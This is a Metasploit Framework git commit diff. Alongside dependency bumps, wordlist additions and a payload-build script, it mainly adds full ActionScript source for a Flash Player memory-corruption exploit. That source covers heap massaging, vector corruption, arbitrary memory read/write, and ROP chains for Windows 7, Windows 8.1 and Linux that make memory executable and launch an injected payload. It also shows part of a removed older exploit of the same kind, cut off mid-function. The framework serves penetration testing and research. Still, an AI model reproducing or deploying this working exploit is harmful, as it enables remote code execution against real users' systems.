Resolved conflicts with master

bug/bundler_fix
Brent Cook 2015-07-07 22:34:30 -05:00
commit 23abc288c8
353 changed files with 23896 additions and 4980 deletions

3
.gitignore vendored
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@ -69,7 +69,10 @@ external/source/exploits/**/Release
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso
data/android
data/java
# Avoid checking in Meterpreter libs that are built from
# private source. If you're interested in this functionality,

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@ -1,33 +1,33 @@
PATH
remote: .
specs:
metasploit-framework (4.11.0.pre.dev)
metasploit-framework (4.11.3.pre.dev)
actionpack (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
jsobfu (~> 0.2.0)
json
metasploit-concern (~> 1.0)
metasploit-model (~> 1.0)
metasploit-payloads (= 1.0.1)
metasploit-concern (= 1.0.0)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.4)
msgpack
nokogiri
packetfu (= 1.1.9)
railties
rb-readline-r7
recog (~> 1.0)
recog (= 2.0.6)
robots
rubyzip (~> 1.1)
sqlite3
tzinfo
metasploit-framework-db (4.11.0.pre.dev)
metasploit-framework-db (4.11.3.pre.dev)
activerecord (>= 4.0.9, < 4.1.0)
metasploit-credential (~> 1.0)
metasploit-framework (= 4.11.0.pre.dev)
metasploit_data_models (~> 1.0)
metasploit-credential (= 1.0.0)
metasploit-framework (= 4.11.3.pre.dev)
metasploit_data_models (= 1.2.5)
pg (>= 0.11)
metasploit-framework-pcap (4.11.0.pre.dev)
metasploit-framework (= 4.11.0.pre.dev)
metasploit-framework-pcap (4.11.3.pre.dev)
metasploit-framework (= 4.11.3.pre.dev)
network_interface (~> 0.0.1)
pcaprub
@ -123,8 +123,8 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.1)
metasploit_data_models (1.1.0)
metasploit-payloads (1.0.4)
metasploit_data_models (1.2.5)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
arel-helpers
@ -133,13 +133,13 @@ GEM
pg
postgres_ext
railties (>= 4.0.9, < 4.1.0)
recog (~> 1.0)
recog (~> 2.0)
method_source (0.8.2)
mime-types (2.4.3)
mini_portile (0.6.2)
minitest (4.7.5)
msgpack (0.5.11)
multi_json (1.11.0)
msgpack (0.6.0)
multi_json (1.11.1)
multi_test (0.1.2)
network_interface (0.0.1)
nokogiri (1.6.6.2)
@ -156,7 +156,7 @@ GEM
coderay (~> 1.1.0)
method_source (~> 0.8.1)
slop (~> 3.4)
rack (1.5.3)
rack (1.5.5)
rack-test (0.6.3)
rack (>= 1.0)
rails (4.0.13)
@ -174,7 +174,7 @@ GEM
thor (>= 0.18.1, < 2.0)
rake (10.4.2)
rb-readline-r7 (0.5.2.0)
recog (1.0.29)
recog (2.0.6)
nokogiri
redcarpet (3.2.3)
rkelly-remix (0.0.6)

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@ -3,8 +3,7 @@
# these days. (No SQLite, no MySQL).
#
# To set up a metasploit database, follow the directions hosted at:
# https://fedoraproject.org/wiki/Metasploit_Postgres_Setup (Works on
# essentially any Linux distro, not just Fedora)
# http://r-7.co/MSF-DEV#set-up-postgresql
development: &pgsql
adapter: postgresql
database: metasploit_framework_development

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BIN
data/exploits/CVE-2014-0556/msf.swf Executable file → Normal file

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BIN
data/exploits/CVE-2015-0313/msf.swf Executable file → Normal file

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@ -973,6 +973,12 @@ os_detect.getVersion = function(){
os_name = "Windows 8";
os_sp = "SP0";
break;
case "1100":
// IE 11.0.10011.0 Windows 10.0 (Build 10074) English - insider preview
ua_version = "11.0";
os_name = "Windows 10";
os_sp = "SP0";
break;
default:
unknown_fingerprint = version;
break;
@ -1027,7 +1033,7 @@ os_detect.getVersion = function(){
}
switch (navigator.appMinorVersion){
case ";SP2;":
ua_version += ";SP2";
os_sp = "SP2";
break;
}
}

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@ -0,0 +1,20 @@
qwerty
qwertyuiop
1qaz2wsx
qazwsx
asdfgh
zxcvbnm
1234qwer
q1w2e3r4t5
qwer1234
q1w2e3r4
asdfasdf
qazwsxedc
asdfghjkl
q1w2e3
1qazxsw2
12QWaszx
qweasdzxc
mnbvcxz
a1b2c3d4
adgjmptw

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@ -1002,4 +1002,5 @@ sq!us3r
adminpasswd
raspberry
74k&^*nh#$
arcsight
arcsight
MargaretThatcheris110%SEXY

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@ -2,12 +2,12 @@
dllbase = File.expand_path(File.dirname(__FILE__))
msfbase = File.expand_path(File.join(dllbase, "..", "..", ".."))
msfp = File.join(msfbase, "msfpayload")
msfv = File.join(msfbase, "msfvenom")
Dir.chdir(dllbase)
system("ruby #{msfp} windows/exec CMD=calc.exe X > runcalc.exe")
system("ruby #{msfp} windows/exec CMD=calc.exe D > runcalc.dll")
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' D > runtest.dll")
system("ruby #{msfp} windows/exec CMD='cmd.exe /c echo yes > exploited.txt' X > runtest.exe")
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f exe -o runcalc.exe")
system("ruby #{msfv} -p windows/exec CMD=calc.exe -f dll -o runcalc.dll")
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f dll -o runtest.dll")
system("ruby #{msfv} -p windows/exec CMD='cmd.exe /c echo yes > exploited.txt' -f exe -o runtest.exe")

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@ -0,0 +1,235 @@
package
{
public class Elf
{
private const PT_DYNAMIC:uint = 2
private const PT_LOAD:uint = 1
private const PT_READ_EXEC:uint = 5
private const DT_SYMTAB:uint = 6
private const DT_STRTAB:uint = 5
private const DT_PLTGOT:uint = 3
private var e_ba:ExploitByteArray
// elf base address
public var base:uint = 0
// program header address
public var ph:uint = 0
// number of program headers
public var ph_size:uint = 0
// program header entry size
public var ph_esize:uint = 0
// DYNAMIC segment address
public var seg_dynamic:uint = 0
// DYNAMIC segment size
public var seg_dynamic_size:uint = 0
// CODE segment address
public var seg_exec:uint = 0
// CODE segment size
public var seg_exec_size:uint = 0
// .dynsyn section address
public var sec_dynsym:uint = 0
// .synstr section address
public var sec_dynstr:uint = 0
// .got.plt section address
public var sec_got_plt:uint = 0
public function Elf(ba:ExploitByteArray, addr:uint)
{
e_ba = ba
set_base(addr)
set_program_header()
set_program_header_size()
set_program_header_entry_size()
set_dynamic_segment()
set_exec_segment()
set_dynsym()
set_dynstr()
set_got_plt()
}
public function external_symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
var got_plt_index:uint = 0
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
}
if (st_info != 0x11) {
got_plt_index++
}
}
throw new Error()
}
public function symbol(name:String):uint {
var entry:uint = 0
var st_name:uint = 0
var st_value:uint = 0
var st_size:uint = 0
var st_info:uint = 0
var st_other:uint = 0
var st_shndx:uint = 0
var st_string:String = ""
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
entry = sec_dynsym + 0x10 + (i * 0x10)
st_name = e_ba.read(entry)
st_value = e_ba.read(entry + 4)
st_info = e_ba.read(entry + 0xc, "byte")
st_string = e_ba.read_string(sec_dynstr + st_name)
if (st_string == name) {
return base + st_value
}
}
throw new Error()
}
public function gadget(gadget:String, hint:uint):uint
{
var value:uint = parseInt(gadget, 16)
var contents:uint = 0
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
contents = e_ba.read(seg_exec + i)
if (hint == 0xffffffff && value == contents) {
return seg_exec + i
}
if (hint != 0xffffffff && value == (contents & hint)) {
return seg_exec + i
}
}
throw new Error()
}
private function set_base(addr:uint):void
{
addr &= 0xffff0000
while (true) {
if (e_ba.read(addr) == 0x464c457f) {
base = addr
return
}
addr -= 0x1000
}
throw new Error()
}
private function set_program_header():void
{
ph = base + e_ba.read(base + 0x1c)
}
private function set_program_header_size():void
{
ph_size = e_ba.read(base + 0x2c, "word")
}
private function set_program_header_entry_size():void
{
ph_esize = e_ba.read(base + 0x2a, "word")
}
private function set_dynamic_segment():void
{
var entry:uint = 0
var p_type:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
if (p_type == PT_DYNAMIC) {
seg_dynamic = base + e_ba.read(entry + 8)
seg_dynamic_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_exec_segment():void
{
var entry:uint = 0
var p_type:uint = 0
var p_flags:uint = 0
for (var i:uint = 0; i < ph_size; i++) {
entry = ph + (i * ph_esize)
p_type = e_ba.read(entry)
p_flags = e_ba.read(entry + 0x18)
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
seg_exec = base + e_ba.read(entry + 8)
seg_exec_size = e_ba.read(entry + 0x14)
return
}
}
throw new Error()
}
private function set_dynsym():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_SYMTAB) {
sec_dynsym = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_dynstr():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_STRTAB) {
sec_dynstr = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
private function set_got_plt():void
{
var entry:uint = 0
var s_type:uint = 0
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
entry = seg_dynamic + i
s_type = e_ba.read(entry)
if (s_type == DT_PLTGOT) {
sec_got_plt = e_ba.read(entry + 4)
return
}
}
throw new Error()
}
}
}

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@ -0,0 +1,131 @@
//compile with AIR SDK 13.0: mxmlc Exploit.as -o msf.swf
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
package {
import flash.display.Sprite
import flash.utils.ByteArray
import flash.display.Shader
import flash.system.Capabilities
import flash.utils.Endian
import __AS3__.vec.Vector
import __AS3__.vec.*
import flash.display.LoaderInfo
import mx.utils.Base64Decoder
public class Exploit extends Sprite {
protected var Shad:Class
private var uv:Vector.<uint>
private var b64:Base64Decoder = new Base64Decoder()
private var payload:ByteArray
private var platform:String
private var os:String
private var exploiter:Exploiter
public function Exploit(){
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
os = LoaderInfo(this.root.loaderInfo).parameters.os
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
var pattern:RegExp = / /g;
b64_payload = b64_payload.replace(pattern, "+")
b64.decode(b64_payload)
payload = b64.toByteArray()
var shader:Shader
if (platform == "linux") {
this.Shad = GraphShadLinux
} else {
this.Shad = GraphShadWindows
}
super()
var i:* = 0
var j:* = 0
var offset:int = -1
var corrupted_vector_idx:int = -1
// Memory massage
var array_length:uint = 0x10000
var vector_size:uint = 34
var array:Array = new Array()
i = 0
while (i < array_length)
{
array[i] = new Vector.<uint>(vector_size)
i++;
}
i = 0
while (i < array_length)
{
array[i].length = 0
i++
}
i = 0x0200
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100
array[(i - (2 * (j % 2)))][0] = 0xdeedbeef
array[(i - (2 * (j % 2)))][2] = (i - (2 * (j % 2)))
i = (i + 28)
j++
}
// Overflow and Search for corrupted vector
var shadba:ByteArray = (new this.Shad() as ByteArray)
shadba.position = 0
shader = new Shader()
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e) { }
i = 0
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i
break
}
i++
}
if (corrupted_vector_idx == -1) {
return
}
for(i = 0; i < array[corrupted_vector_idx].length; i++) {
if (array[corrupted_vector_idx][i] == 0x0100 && array[corrupted_vector_idx][i + 2] == 0xdeedbeef) {
array[corrupted_vector_idx][i] = 0xffffffff
offset = i
break
}
}
if (offset == -1) {
return
}
for(i = 0; i < array.length; i++) {
if (array[i].length == 0xffffffff) {
uv = array[i]
uv[0x3ffffffc - offset] = 34
}
}
for(i = 0; i < array.length; i++) {
if (array[i].length != 0xffffffff) {
delete(array[i])
array[i] = null
}
}
exploiter = new Exploiter(this, platform, os, payload, uv)
}
}
}

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@ -0,0 +1,85 @@
package
{
import flash.utils.ByteArray
public class ExploitByteArray
{
private const MAX_STRING_LENGTH:uint = 100
public var ba:ByteArray
public var original_length:uint
private var platform:String
public function ExploitByteArray(p:String, l:uint = 1024)
{
ba = new ByteArray()
ba.length = l
ba.endian = "littleEndian"
ba.writeUnsignedInt(0)
platform = p
original_length = l
}
public function set_length(length:uint):void
{
ba.length = length
}
public function get_length():uint
{
return ba.length
}
public function lets_ready():void
{
ba.endian = "littleEndian"
if (platform == "linux") {
ba.length = 0xffffffff
}
}
public function is_ready():Boolean
{
if (ba.length == 0xffffffff)
return true
return false
}
public function read(addr:uint, type:String = "dword"):uint
{
ba.position = addr
switch(type) {
case "dword":
return ba.readUnsignedInt()
case "word":
return ba.readUnsignedShort()
case "byte":
return ba.readUnsignedByte()
}
return 0
}
public function read_string(addr:uint, length:uint = 0):String
{
ba.position = addr
if (length == 0)
return ba.readUTFBytes(MAX_STRING_LENGTH)
else
return ba.readUTFBytes(length)
}
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
{
var i:uint
if (addr) ba.position = addr
if (value is String) {
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
if (zero) ba.writeByte(0)
} else if (value is ByteArray) {
var value_length:uint = value.length
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
} else ba.writeUnsignedInt(value)
}
}
}

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@ -0,0 +1,74 @@
package
{
public class ExploitVector
{
private var uv:Vector.<uint>
public var original_length:uint = 0x100
public function ExploitVector(v:Vector.<uint>)
{
uv = v
}
public function restore():void
{
uv[0x3ffffffe] = original_length
}
public function is_ready():Boolean
{
if (uv.length > original_length)
{
return true
}
return false
}
public function at(pos:uint):uint
{
return uv[pos]
}
// pos: position where a Vector.<Object>[0] lives
public function set_own_address(pos:uint):void
{
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
}
public function read(addr:uint):uint
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
return uv[pos]
}
public function write(addr:uint, value:uint = 0):void
{
var pos:uint = 0
if (addr > uv[0]) {
pos = ((addr - uv[0]) / 4) - 2
} else {
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
}
uv[pos] = value
}
public function search_pattern(pattern:uint, limit:uint):uint
{
for (var i:uint = 0; i < limit/4; i++) {
if (uv[i] == pattern) {
return i
}
}
throw new Error()
}
}
}

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@ -0,0 +1,399 @@
package
{
import flash.utils.ByteArray
import flash.system.System
public class Exploiter
{
private const VECTOR_OBJECTS_LENGTH:uint = 1014
private var exploit:Exploit
private var ev:ExploitVector
private var eba:ExploitByteArray
private var payload:ByteArray
private var platform:String
private var op_system:String
private var pos:uint
private var byte_array_object:uint
private var main:uint
private var stack_object:uint
private var payload_space_object:uint
private var buffer_object:uint
private var buffer:uint
private var vtable:uint
private var stack_address:uint
private var payload_address:uint
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
private var spray:Vector.<Object> = new Vector.<Object>(90000)
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
{
exploit = exp
payload = p
platform = pl
op_system = os
ev = new ExploitVector(uv)
if (!ev.is_ready()) return
eba = new ExploitByteArray(platform)
spray_objects()
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
ev.set_own_address(pos)
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
disclose_addresses()
corrupt_byte_array()
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
do_rop()
restore_byte_array()
ev.restore()
cleanup()
}
private function spray_objects():void
{
Logger.log("[*] Exploiter - spray_objects()")
for (var i:uint = 0; i < spray.length; i++)
{
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
spray[i][0] = eba.ba
spray[i][1] = exploit
spray[i][2] = stack
spray[i][3] = payload_space
}
}
private function search_objects():uint
{
Logger.log("[*] Exploiter - search_objects()")
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
return idx + 1
}
private function disclose_objects():Boolean
{
Logger.log("[*] Exploiter - disclose_objects()")
byte_array_object = ev.at(pos) - 1
main = ev.at(pos + 1) - 1
stack_object = ev.at(pos + 2) - 1
payload_space_object = ev.at(pos + 3) - 1
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
return false
}
return true
}
private function disclose_addresses():void
{
Logger.log("[*] Exploiter - disclose_addresses()")
if (platform == "linux")
{
buffer_object = ev.read(byte_array_object + 0x10)
buffer = ev.read(buffer_object + 0x1c)
}
else if (platform == "win")
{
buffer_object = ev.read(byte_array_object + 0x40)
buffer = ev.read(buffer_object + 8)
}
vtable = ev.read(main)
stack_address = ev.read(stack_object + 0x18)
payload_address = ev.read(payload_space_object + 0x18)
}
private function corrupt_byte_array():void
{
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c) // *array
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8) // *array
ev.write(buffer_object + 16, 0xffffffff) // capacity
}
eba.lets_ready()
}
private function restore_byte_array():void
{
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
if (platform == "linux")
{
ev.write(buffer_object + 0x1c, buffer) // *array
ev.write(buffer_object + 0x20, 1024) // capacity
}
else if (platform == "win")
{
ev.write(buffer_object + 8, buffer) // *array
ev.write(buffer_object + 16, 1024) // capacity
}
eba.set_length(eba.original_length)
}
private function do_rop():void
{
Logger.log("[*] Exploiter - do_rop()")
if (platform == "linux") {
do_rop_linux()
} else if (platform == "win") {
if (op_system == "Windows 8.1") {
do_rop_windows8()
} else if (op_system == "Windows 7") {
do_rop_windows()
} else {
return
}
} else {
return
}
}
private function do_rop_windows():void
{
Logger.log("[*] Exploiter - do_rop_windows()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
var createthread:uint = pe.procedure("CreateThread", kernel32)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7f6e0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7f6e0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7f6e0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_windows8():void
{
Logger.log("[*] Exploiter - do_rop_windows8()")
var pe:PE = new PE(eba)
var flash:uint = pe.base(vtable)
var winmm:uint = pe.module("winmm.dll", flash)
var advapi32:uint = pe.module("advapi32.dll", flash)
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
var kernel32:uint = pe.module("kernel32.dll", winmm)
var ntdll:uint = pe.module("ntdll.dll", kernel32)
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
var createthread:uint = pe.procedure("CreateThread", kernelbase)
var memcpy:uint = pe.procedure("memcpy", ntdll)
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
// Continuation of execution
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
// Put the payload (command) in memory
eba.write(payload_address + 8, payload, true); // payload
// Put the fake vtabe / stack on memory
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
eba.write(0, virtualprotect)
// VirtualProtect
eba.write(0, virtualalloc)
eba.write(0, buffer + 0x10)
eba.write(0, 0x1000)
eba.write(0, 0x40)
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
// VirtualAlloc
eba.write(0, memcpy)
eba.write(0, 0x7ffd0000)
eba.write(0, 0x4000)
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
// memcpy
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
eba.write(0, 0x7ffd0000)
eba.write(0, payload_address + 8)
eba.write(0, payload.length)
// CreateThread
eba.write(0, createthread)
eba.write(0, buffer + 0x10) // return to fix things
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0x7ffd0000)
eba.write(0, 0)
eba.write(0, 0)
eba.write(0, 0)
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
exploit.toString() // call method in the fake vtable
}
private function do_rop_linux():void
{
Logger.log("[*] Exploiter - do_rop_linux()")
var flash:Elf = new Elf(eba, vtable)
var feof:uint = flash.external_symbol('feof')
var libc:Elf = new Elf(eba, feof)
var popen:uint = libc.symbol("popen")
var mprotect:uint = libc.symbol("mprotect")
var mmap:uint = libc.symbol("mmap")
var clone:uint = libc.symbol("clone")
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
// Continuation of execution
// 1) Recover original vtable
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
eba.write(0, "\x89\x03", false) // mov [ebx], eax
// 2) Recover original stack
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
// my_memcpy
eba.write(buffer + 0x60, "\x56", false) // push esi
eba.write(0, "\x57", false) // push edi
eba.write(0, "\x51", false) // push ecx
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
eba.write(0, "\xF3\xA4", false) // rep movsb
eba.write(0, "\x59", false) // pop ecx
eba.write(0, "\x5f", false) // pop edi
eba.write(0, "\x5e", false) // pop esi
eba.write(0, "\xc3", false) // ret
// Put the popen parameters in memory
eba.write(payload_address + 0x8, payload, true) // false
// Put the fake stack/vtable on memory
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
// Return to mprotect()
eba.write(stack_address + 0x18034, mprotect)
// Return to stackpivot (jmp over mprotect parameters)
eba.write(0, addesp2cret)
// mprotect() arguments
eba.write(0, buffer) // addr
eba.write(0, 0x1000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
// Return to mmap()
eba.write(stack_address + 0x18068, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() code segment arguments
eba.write(0, 0x70000000) // 0x70000000
eba.write(0, 0x4000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, 0xffffffff) // filedes
eba.write(0, 0) // offset
// Return to mmap()
eba.write(stack_address + 0x1809c, mmap)
// Return to stackpivot (jmp over mmap parameters)
eba.write(0, addesp2cret)
// mmap() stack segment arguments
eba.write(0, 0x70008000) // NULL
eba.write(0, 0x10000) // size
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
eba.write(0, -1) // filedes
eba.write(0, 0) // offset
// Return to memcpy()
eba.write(stack_address + 0x180d0, buffer + 0x60)
// Return to stackpivot (jmp over memcpy parameters)
eba.write(0, addesp2cret)
// memcpy() parameters
eba.write(0, 0x70000000)
eba.write(0, payload_address + 0x8)
eba.write(0, payload.length)
// Return to clone()
eba.write(stack_address + 0x18104, clone)
// Return to CoE (fix stack and object vtable)
eba.write(0, buffer + 0x10)
// clone() arguments
eba.write(0, 0x70000000) // code
eba.write(0, 0x7000bff0) // stack
eba.write(0, 0x00000100) // flags CLONE_VM
eba.write(0, 0) // args
//call DWORD PTR [eax+0x24]
//EAX: 0x41414141 ('AAAA')
//EDI: 0xad857088 ("AAAA\377")
eba.write(main, stack_address + 0x18000)
exploit.hasOwnProperty('msf')
}
private function cleanup():void
{
Logger.log("[*] Exploiter - cleanup()")
spray = null
stack = null
payload_space = null
eba = null
ev = null
exploit = null
System.pauseForGCIfCollectionImminent(0)
}
}
}

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@ -1,411 +0,0 @@
//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf
package {
import flash.display.Sprite;
import flash.utils.ByteArray;
import flash.display.Shader;
import flash.system.Capabilities;
import flash.net.FileReference;
import flash.utils.Endian;
import __AS3__.vec.Vector;
import __AS3__.vec.*;
import flash.display.LoaderInfo;
public class Graph extends Sprite {
static var counter:uint = 0;
protected var Shad:Class;
var shellcode_byte_array:ByteArray;
var aaab:ByteArray;
var shellcodeObj:Array;
public function Graph(){
var tweaked_vector:* = undefined;
var tweaked_vector_address:* = undefined;
var shader:Shader;
var flash_memory_protect:Array;
var code_vectors:Array;
var address_code_vector:uint;
var address_shellcode_byte_array:uint;
this.Shad = Graph_Shad;
super();
shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(",");
var i:* = 0;
var j:* = 0;
// Just one try
counter++;
if (counter > 1)
{
return;
};
// Memory massage
var array_length:uint = 0x10000;
var vector_size:uint = 34;
var array:Array = new Array();
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(1);
i++;
};
i = 0;
while (i < array_length)
{
array[i] = new Vector.<int>(vector_size);
i++;
};
i = 0;
while (i < array_length)
{
array[i].length = 0;
i++;
};
i = 0x0200;
while (i < array_length)
{
array[(i - (2 * (j % 2)))].length = 0x0100;
i = (i + 28);
j++;
};
// Overflow and Search for corrupted vector
var corrupted_vector_idx:uint;
var shadba:ByteArray = (new this.Shad() as ByteArray);
shadba.position = 232;
if (Capabilities.os.indexOf("Windows 8") >= 0)
{
shadba.writeUnsignedInt(2472);
};
shadba.position = 0;
while (1)
{
shader = new Shader();
try
{
shader.byteCode = (new this.Shad() as ByteArray);
} catch(e)
{
};
i = 0;
while (i < array_length)
{
if (array[i].length > 0x0100)
{
corrupted_vector_idx = i;
break;
};
i++;
};
if (i != array_length)
{
if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break;
};
array.push(new Vector.<int>(vector_size));
};
// Tweak the vector following the corrupted one
array[corrupted_vector_idx][vector_size] = 0x40000001;
tweaked_vector = array[(corrupted_vector_idx + 1)];
// repair the corrupted vector by restoring its
// vector object pointer and length
var vector_obj_addr:* = tweaked_vector[0x3fffffff];
